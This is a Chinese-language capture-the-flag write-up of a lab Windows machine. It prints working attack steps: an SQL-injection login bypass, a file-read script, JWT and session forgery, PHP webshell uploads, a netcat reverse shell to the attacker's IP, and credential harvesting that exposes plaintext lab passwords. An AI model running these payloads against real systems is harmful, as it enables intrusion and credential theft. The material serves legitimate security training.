#PasswordReuse #sqlite #session #file_include #SQLInjection #jwt #AES #secure_file_priv
靶机开启后IP为:10.10.10.228
Nmap Scan
TCP协议全部端口
sudo nmap -p- -Pn --min-rate 2000 -v 10.10.10.228 -oA Scan/ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5040/tcp open unknown
7680/tcp open pando-pub
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
grep open Scan/ports.nmap | grep -v unknown | cut -d/ -f1 | paste -s -d ','
22,80,135,139,443,445,3306,7680
ports=`grep open Scan/ports.nmap | grep -v unknown | cut -d/ -f1 | paste -s -d ','`
默认脚本扫描开放端口
sudo nmap -sCV -O -p22,80,135,139,443,445,3306,7680 10.10.10.228 -oA Scan/detail
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Library
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_ Host '10.10.16.10' is not allowed to connect to this MariaDB server
7680/tcp open pando-pub?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=2/1%Time=65BBA1BE%P=x86_64-pc-linux-gnu%r(
SF:HTTPOptions,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPC
SF:Check,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersio
SF:nBindReqTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNS
SF:StatusRequestTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x
SF:20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%
SF:r(Help,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessi
SF:onReq,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalS
SF:erverCookie,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TLS
SF:SessionReq,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\
SF:x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerb
SF:eros,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProgNeg
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe,4A,"F
SF:\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to
SF:\x20connect\x20to\x20this\x20MariaDB\x20server")%r(FourOhFourRequest,4A
SF:,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x2
SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LPDString,4A,"F\0
SF:\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,4A,"F\0\
SF:0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to\x2
SF:0connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,4A,"F\0\0\x
SF:01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to\x20co
SF:nnect\x20to\x20this\x20MariaDB\x20server");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|Longhorn|2019|2008|11|7|Vista|XP|8.1 (96%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (96%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1709 - 1803 (93%), Microsoft Windows 10 1809 - 2004 (93%), Microsoft Windows Server 2019 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows 8.1 Update 1 (93%), Microsoft Windows 10 2004 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-02-01T13:51:40
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 1 08:51:46 2024 -- 1 IP address (1 host up) scanned in 66.67 seconds
Enum
gobuster dir -t 50 -u http://10.10.10.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -r
/books (Status: 200) [Size: 2462]
/php (Status: 200) [Size: 976]
/portal (Status: 200) [Size: 2508]
/css (Status: 200) [Size: 1183]
/includes (Status: 200) [Size: 1206]
/db (Status: 200) [Size: 971]
/js (Status: 200) [Size: 1187]
结果中响应为 200 的有很多目录。大概看了一下认为 /portal 最可疑。
- http://10.10.10.228/portal/login.php
万能密码
admin' or 1=1 #
admin' or 1=1 #
- http://10.10.10.228/php/signup.php
注册一个帐户
admin:admin
Dashboard
登录后首页如下。

role 显示 Awaiting approval 正在等待批准
底部有四个链接,其中第二个点击会弹框,最后一个点击重定向到当前页面
- http://10.10.10.228/portal/php/issues.php
日志内容。

- http://10.10.10.228/portal/php/users.php
一些用户名,并且顶部显示 Under construction。

- http://10.10.10.228/portal/php/

- http://10.10.10.228/portal/php/admins.php

users
取下 users.php 中的用户名列表
cookie 可以 F12 查看网页响应,也可以使用 burp 查看。
curl -vvv -s -b 'PHPSESSID=admin226b28d6baa2d67a9e78e6b022f72735' http://10.10.10.228/portal/php/users.php > users.list
借助 ChatGPT 写一个正则表达式筛选出所有用户列表。
grep -oP '<td scope="row">\K[^<]*' users.list > users
alex' or 1=1 #
尝试爆破,但是失败了。
hydra -L users -P users 10.10.10.228 http-post-form '/portal/login.php:username=^USER^&password=^PASS^&method=0:Username or Password incorrect'
jwt
打开 burp 查看请求

其中 Cookie 有两部分,一个是 PHPSESSID,一个是 token。
PHPSESSID 是以当前用户名开头。
token 使用 . 号分隔。
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWRtaW4ifX0.YCUOr2QOe8PWaSmn0jKinCN3AmQjuBBREN7cnL7Q5TI
前两段可以解码如下:
{"typ":"JWT","alg":"HS256"}{"data":{"username":"admin"}}
最后一段无法用 base64 解码。解码后的结果有 jwt,第一次遇到这种编码,但是听说过相关利用。
Google jwt exploit
python jwtcrack/jwt2john.py 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWRtaW4ifX0.YCUOr2QOe8PWaSmn0jKinCN3AmQjuBBREN7cnL7Q5TI' > admin.jwt.john
john admin.jwt.john -w=/usr/share/wordlists/rockyou.txt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWxleCJ9fS.YCUOr2QOe8PWaSmn0jKinCN3AmQjuBBREN7cnL7Q5TI
这里有一个问题,token 去掉或者改动不影响响应值,应当是兔子洞。
files
重定向的 files.php 可以使用 burpsuite 查看。
HTTP/1.1 302 Found
Date: Thu, 01 Feb 2024 14:36:33 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
X-Powered-By: PHP/8.0.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../index.php
Content-Length: 3525
Connection: close
Content-Type: text/html; charset=UTF-8

删掉 PHPSESSION,报错显示出了路径。

没用
扫描 portal 下的目录。
gobuster dir -t 100 -u http://10.10.10.228/portal/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --follow-redirect --add-slash --expanded
http://10.10.10.228/portal/uploads/ (Status: 200) [Size: 795]
http://10.10.10.228/portal/php/ (Status: 200) [Size: 1629]
http://10.10.10.228/portal/assets/ (Status: 200) [Size: 1418]
http://10.10.10.228/portal/includes/ (Status: 200) [Size: 1668]
http://10.10.10.228/portal/db/ (Status: 200) [Size: 992]
http://10.10.10.228/portal/vendor/ (Status: 200) [Size: 1861]
逐一查看,其中有一些兔子洞,但是在 js 文件里发现了线索。兔子洞过程省略不记。
sensitive file
细节可以放到 ChatGPT 理解
files.js
http://10.10.10.228/portal/assets/js/files.js
$(document).ready(function(){
$("#upload").click(function(){
var formData = new FormData();
formData.append('file', $('#file')[0].files[0]);
formData.append('task', $('#task').val() + ".zip");
post(formData);
formData = null;
})
});
function post(formData){
jQuery.ajax({
url: "../includes/fileController.php",
type: "POST",
processData: false,
contentType: false,
data: formData,
success: function(res){
$("#message").html(res);
}
});
}
从 post 函数可以看到向 ../includes/fileController.php 发起 post 请求,请求数据是 formData。

Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.
权限不足。 联系管理员或开发人员上传代码。 注意:如果您最近注册,请等待我们的一位管理员批准。
books.js
http://10.10.10.228/js/books.js
$(document).ready(function(){
var book = null;
$("#note").click(function(){
$("#tableBody").html("");
const title = $("#title").val();
const author = $("#author").val();
if(title == "" && author == ""){
$("#message").html("Nothing found :(");
}
else{
searchBooks(title, author);
}
})
$("#interested").click(function(){
});
});
function getInfo(e){
const bookId = "book" + $(e).closest('tr').attr('id') + ".html";
jQuery.ajax({
url: "../includes/bookController.php",
type: "POST",
data: {
book: bookId,
method: 1,
},
dataType: "json",
success: function(res){
$("#about").html(res);
}
});
}
function modal(){
return '<button type="button" onclick="getInfo(this)" class="btn btn-outline-warning" data-toggle="modal" data-target="#actionModal">Book</button>';
}
function searchBooks(title, author){
jQuery.ajax({
url: "../includes/bookController.php",
type: "POST",
data: {
title: title,
author: author,
method: 0,
},
dataType: "json",
success: function(res){
if(res.length == 0 || res == false){
$("#message").html("Nothing found :(");
}
else{
let ret = "";
for(book in res){
$("#message").html("");
ret += "<tr id='" + res[book].id + "'>";
ret += "<td>"+res[book].title+"</td>";
ret += "<td>"+res[book].author+"</td>";
ret += "<td>" + modal() + "</td>";
ret += "</tr>";
$("#tableBody").html(ret)
}
}
}
});
}
book.js 里有两个函数,getInfo 和 searchBooks 分别对 "../includes/bookController.php" 和 "../includes/bookController.php" 发起 post 请求。
这里在 burp 中测试,有无 cookie 并不影响结果,同时从报错中可以看到路径信息。
观察 method=0 时会向数据库查询
curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'title=&author=a&method=0'
[{"id":3,"title":"Adventures of Tom Sawyer","author":"Mark Twain"},{"id":8,"title":"Ben Hur","author":"Lewis Wallace\t"},{"id":9,"title":"Baburnama","author":"Babur"},{"id":10,"title":"Arthashastra","author":"Kautilya"},{"id":11,"title":"Anand Math","author":"Bankimchandra Chattopadhyay\t"},{"id":12,"title":"Alice's Adventures in Wonderland","author":" Lewis Carrol"},{"id":14,"title":"Pride and Prejudice","author":"Jane Austen"}]
file_get_contents
method=1 时,报错可以看到文件读取函数
curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'title=db.php&author=a&method=1'
<b>Warning</b>: file_get_contents(../books/db.php): Failed to open stream: No such file or directory in <b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b> on line <b>28</b><br />
false
curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'book=../db/db.php&title=&author=a&method=1'
"<?php\r\n\r\n$host=\"localhost\";\r\n$port=3306;\r\n$user=\"bread\";\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());\r\n?>\r\n"
bread:jUli901
MySQL 无法远程连接,现在的思路是读取 PHP 文件,寻找可以利用的内容,但是找到的大部分 SQL语句都是预编译,无法注入。
Python Script
curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'book=../includes/bookController.php&title=&author=a&method=1'
bookController.php 源码可以看到最后使用 json_encode 输出结果,所以可以将 json字符串 转化为 PHP 代码更方便观看。
echo json_encode($out)
写一个 python 脚本做简单的转换。
with open('bookController.php.json', 'r') as f:
data = json.load(f)
借助 ChatGPT 写一个 python 脚本,但是得到的结果需要修改。
#!/usr/bin/env python
import requests
import sys
import json
import os
url = "http://10.10.10.228/includes/bookController.php"
# read path from command line
if len(sys.argv) < 2:
print("Usage: python get_contents.py path")
sys.exit(1)
path = sys.argv[1]
# os.path.basename get filename
filename = os.path.basename(path)
data = {
'book' : path,
'title' : '',
'author' : '',
'method' : 1,
}
response = requests.post(url, data=data)
# check status code
if response.status_code == 200:
try:
json_data = json.loads(response.text)
with open(filename, 'w') as file:
file.write(json_data)
except json.JSONDecodeError as e:
print(f"Error decoding JSON: {e}")
else:
print(f"Request failed with status code {response.status_code}")
将一部分源码下载到本地查看。
python get_contents.py '../portal/login.php'
fake
token
fileController.php 文件可以上传文件,并且透露了 secret_key,这样就可以伪造 jwt。
if(in_array($user, $admins) && $_SESSION['username'] == "paul")
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'
paul:token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
cookie
但是同时还验证 $_SESSION['username'],这个该怎么伪造。
第一想法直接改变 cookie 中 PHPSESSID 的值,因为是以当前用户名 admin 开头,但是没有效果,思路卡在这里。查看提示还是伪造 cookie,仔细查看认证有关的文件。
首先 cookie 是在登录时产生。
- login.php
require_once 'authController.php';
- authController.php
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use \Firebase\JWT\JWT;
这里发现了之前未曾注意到的文件 cookie.php。makesession 函数返回值 $session_cookie,也就是
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
文件尾部添加如下代码,生成 paul 的 session。
echo makesession('paul');
php -f cookie.php
paul47200b180ccd6835d25d034eeb6e6390
upload file
paul47200b180ccd6835d25d034eeb6e6390
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
burp 抓包修改 cookie。
在上传文件这里遇到了报错,应该是传参问题

本地搭建环境,上传抓包对比,name 后需要添加 filename。
Content-Disposition: form-data; name="file";filename="test.txt"
添加之后上传成功。
curl -b 'PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU' http://10.10.10.228/portal/includes/fileController.php -X POST -F "file=@users;Type=text/plain" -F "task=users" -x "127.0.0.1:8080"
成功上传。
curl http://10.10.10.228/portal/uploads/users
不带 @ 符,在 burp 里看就是没有 filename。


或者手动添加 filename
curl -b 'PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU' http://10.10.10.228/portal/includes/fileController.php -X POST -F "file=users.list;filename=users.txt;Type=text/plain" -F "task=users" -x "127.0.0.1:8080"
echo '<?php eval($_REQUEST[cmd]); ?>' > eval.php
curl -b 'PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU' http://10.10.10.228/portal/includes/fileController.php -X POST -F "file=@eval;filename=eval.php" -F "task=eval.php" -x "127.0.0.1:8080"
报错如下:
<br />
<b>Warning</b>: move_uploaded_file(C:\Users\www-data\Desktop\xampp\tmp\php8169.tmp): Failed to open stream: Invalid argument in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>25</b><br />
<br />
<b>Warning</b>: move_uploaded_file(): Unable to move "C:\Users\www-data\Desktop\xampp\tmp\php8169.tmp" to "../uploads/eval" in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>25</b><br />
Missing file or title :(
会将 .php 后缀过滤掉。
似乎存在某种检测机制,查看 PHP 文档 本函数检查并确保由 from 指定的文件是合法的上传文件,但是源码中并没有看到如何检查。
这种情况我的思路是,首先上传一个普通的 PHP 文件是否可以成功上传并解析。这里直接使用 burp 的 repeater 模块。
# test.php success
<?php echo '123'; ?>
# info.php success
<?php phpinfo(); ?>
正常 PHP 文件是可以上传的,可能是对文件内容有检查,那就更换其他函数,例如:
# system.php
<?php echo `$_GET[cmd]`; ?>
# or echo.php
<?=`$_GET[cmd]`;
# or shell.php PHP 8版本要给参数添加引号,否则报错
<?php echo shell_exec($_REQUEST['cmd']); ?>
curl http://10.10.10.228/portal/uploads/shell.php?cmd=whoami
breadcrumbs\www-data
curl http://10.10.10.228/portal/uploads/system.php -X GET -G --data-urlencode 'cmd=whoami'
reverse shell
在有 nc 的文件夹搭建 SMB 服务器。
impacket-smbserver share `pwd` -smb2support
curl 'http://10.10.10.228/portal/uploads/shell.php?cmd=\\10.10.16.10\share\nc64.exe%20-e%20powershell%2010.10.16.10%201234'
Lateral Movenment
reuse
基本枚举
枚举当前 web 目录,有一个之前没有扫到的目录
- C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

type pizzaDeliveryUserData\juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
得到 juliette 用户的凭据,正常当前机器中有同名用户,可以尝试密码复用。
juliette:jUli901./())!
另外在桌面下发现另一个文件夹
dir
Directory: C:\Users\www-data\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/8/2021 11:41 PM usefull_cookies
d----- 2/8/2021 5:53 AM xampp
-a---- 2/8/2021 11:38 PM 146 cookiesrunner.bat
-a---- 2/8/2021 5:14 AM 1450 Microsoft Edge.lnk
PS C:\Users\www-data\Desktop> type cookiesrunner.bat
type cookiesrunner.bat
@echo off
del C:\Users\www-data\Desktop\usefull_cookies\*
copy C:\Users\www-data\Desktop\usefull_cookies\* C:\Users\www-data\Desktop\xampp\tmp
C:\Users\www-data\Desktop\xampp\tmp 保存了三个用户的 session
type usefull_cookies\sess_oliviaaa0aa8b0e94759562a5854d69b9e6b79
username|s:6:"olivia";loggedIn|b:1;role|s:12:"Data Analyst";
type .\xampp\tmp\sess_john5815c66675415230039fb4616cd0dce8
username|s:4:"john";loggedIn|b:1;role|s:10:"Ad Manager";
type .\xampp\tmp\sess_paul47200b180ccd6835d25d034eeb6e6390
username|s:4:"paul";loggedIn|b:1;role|s:5:"Admin";
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
www-data:QNxH2vi01X
ssh -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no www-data@10.10.10.228
juliette
juliette:jUli901./())!
ssh -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no juliette@10.10.10.228
type desktop\todo.html
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
这个文件 将密码从 Microsoft Store Sticky Notes 应用程序迁移到我们新的密码管理器。所以在 Microsoft Store Sticky Notes application 可能存储明文密码。
mysql
cd 'C:\Program Files\MariaDB 10.5\bin\'
C:\Program Files\MariaDB 10.5\bin> .\mysql.exe -ubread -pjUli901
select username,password from users;
+----------+------------------------------------------+
| username | password |
+----------+------------------------------------------+
| alex | aa785ebd1c22e59a45d4c0a0bf25440d71311ad4 |
| paul | 5cbb728b7918da26cd6cfc81da0f238c18fdfbbc |
| jack | d7aeccd316c750c8e9a57e21cf1d14a217baee26 |
| olivia | 271a4154dab37b715f345744711fe1bf3c306314 |
| john | 235d025c97e9b197bc91e2a0fe563730cc74d7f8 |
| emma | 1683acbe1f90c2ce0a28ff8e47e4a251e27cb170 |
| william | 4eb4604d36b0b91bf06b0636c343e7922af851e8 |
| lucas | f95d1374fc3a035b36b3bf5ee9eef6f5a780ac05 |
| sirine | 4b0d635e1e866b9e4470936001f21588a09c4e25 |
| juliette | b59dbf31e8402d4b9c92c92d87b6e36c32ac5c3b |
| support | 4ff6d75568c0bac72baeb47fa5f00dd71cca7baa |
+----------+------------------------------------------+
未成功解密。
$Recycle.Bin
powershell 历史记录
type C:\Users\juliette\AppData\Roaming\Microsoft\windows\powershell\PSReadLine\ConsoleHost_history.txt
Get-ChildItem -Path 'C:\$Recycle.Bin'
...
Get-ChildItem -Path 'C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002' -force
Directory: C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2021 4:09 PM 254 $I9ZH4MP.sqlite-wal
-a---- 1/15/2021 4:03 PM 96 $IBGOEIZ.zip
-a---- 1/15/2021 4:01 PM 118 $IG9AT1W.lnk
-a---- 1/15/2021 4:09 PM 246 $IRSGC8J.sqlite
-a---- 1/15/2021 4:09 PM 254 $IVE1WU1.sqlite-shm
-a---- 1/15/2021 4:09 PM 119512 $R9ZH4MP.sqlite-wal
-a---- 1/15/2021 4:03 PM 2842742 $RBGOEIZ.zip
-a---- 1/15/2021 4:00 PM 1450 $RG9AT1W.lnk
-a---- 1/15/2021 4:08 PM 4096 $RRSGC8J.sqlite
-a---- 1/15/2021 4:08 PM 32768 $RVE1WU1.sqlite-shm
-a-hs- 1/15/2021 4:00 PM 129 desktop.ini
type -Path 'C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002\desktop.ini'
Compress-Archive -Path 'C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002' -DestinationPath C:\programdata\Recycle.zip
下载到本地解压,大概浏览了以下主要是 $RBGOEIZ.zip 文件。
unzip '$RBGOEIZ.zip'
首先根据关键词搜索密码
grep -rni 'password' .

目录名是 passwordManager,之前 todo.html 的内容就与之相关,查看细节。
$user="passwordM";
$password="hWjSh812jDn1asd./213-91!#(";
cat passwordManager/htdocs/index.php
<?php
$host="localhost";
$port=3306;
$user="passwordM";
$password="hWjSh812jDn1asd./213-91!#(";
$dbname="bread";
$method = "";
$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];
}
echo $method;
if($method == "select"){
$sql = "SELECT aes_key FROM ".$_REQUEST['table']." WHERE account='".$_REQUEST['username']."'";
$results = $con->query($sql);
echo var_dump(mysqli_fetch_all($results,MYSQLI_ASSOC));
}
else{
echo "Bad Request";
}
passwordManager
用上面的凭据连接数据库。
C:\Program Files\MariaDB 10.5\bin> .\mysql.exe -upasswordM -p'hWjSh812jDn1asd./213-91!#('
MariaDB [(none)]> select user();
+---------------------+
| user() |
+---------------------+
| passwordM@localhost |
+---------------------+
1 row in set (0.002 sec)
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| bread |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> use bread
Database changed
MariaDB [bread]> show tables;
+-----------------+
| Tables_in_bread |
+-----------------+
| passwords |
+-----------------+
1 row in set (0.001 sec)
MariaDB [bread]> select * from passwords;
+----+---------------+----------------------------------------------+------------------+
| id | account | password | aes_key |
+----+---------------+----------------------------------------------+------------------+
| 1 | Administrator | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= | k19D193j.<19391( |
+----+---------------+----------------------------------------------+------------------+
1 row in set (0.016 sec)
如何解密。
localstate 有一些文件,查看内容有 development 用户的密码。
strings localstate/plum.sqlite*
development:fN3)sN5Ee@g
juliette: jUli901./())!
解压出来的文件还有 Development/Krypter_Linux,执行提示。但是后面加上 aes_key 还是提示 Incorrect master key。
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
- Windows version with GUI support
- Get password from cloud and AUTOMATICALLY decrypt!
***
No key supplied.
USAGE:
Krypter <key>
strings Development/Krypter_Linux
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords

Decrypt
最后看 WP,才发现想多了可以直接 AES 解密。
+----+---------------+----------------------------------------------+------------------+
| id | account | password | aes_key |
+----+---------------+----------------------------------------------+------------------+
| 1 | Administrator | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= | k19D193j.<19391( |
+----+---------------+----------------------------------------------+------------------+
administrator:p@ssw0rd!@#$9890./

https://www.devglan.com/online-tools/aes-encryption-decryption

Another way
似乎预期路径不是下载回收站的文件
Microsoft Store Sticky Notes
根据 todo 里的内容 Google Microsoft Store Sticky Notes 存储位置。
google Microsoft Store Sticky Notes location
Sticky Note Location - Microsoft Community
Where are Sticky Notes stored (Windows 10)? - Super User
%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
dir $env:LocalAppData\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2021 4:10 PM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a---- 11/29/2020 3:10 AM 4096 plum.sqlite
-a---- 1/15/2021 4:10 PM 32768 plum.sqlite-shm
-a---- 1/15/2021 4:10 PM 329632 plum.sqlite-wal
将这三个文件下载到本地。
sqlite3 plum.sqlite
sqlite> .table
Media Stroke SyncState User
Note StrokeMetadata UpgradedNote
sqlite> select * from Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
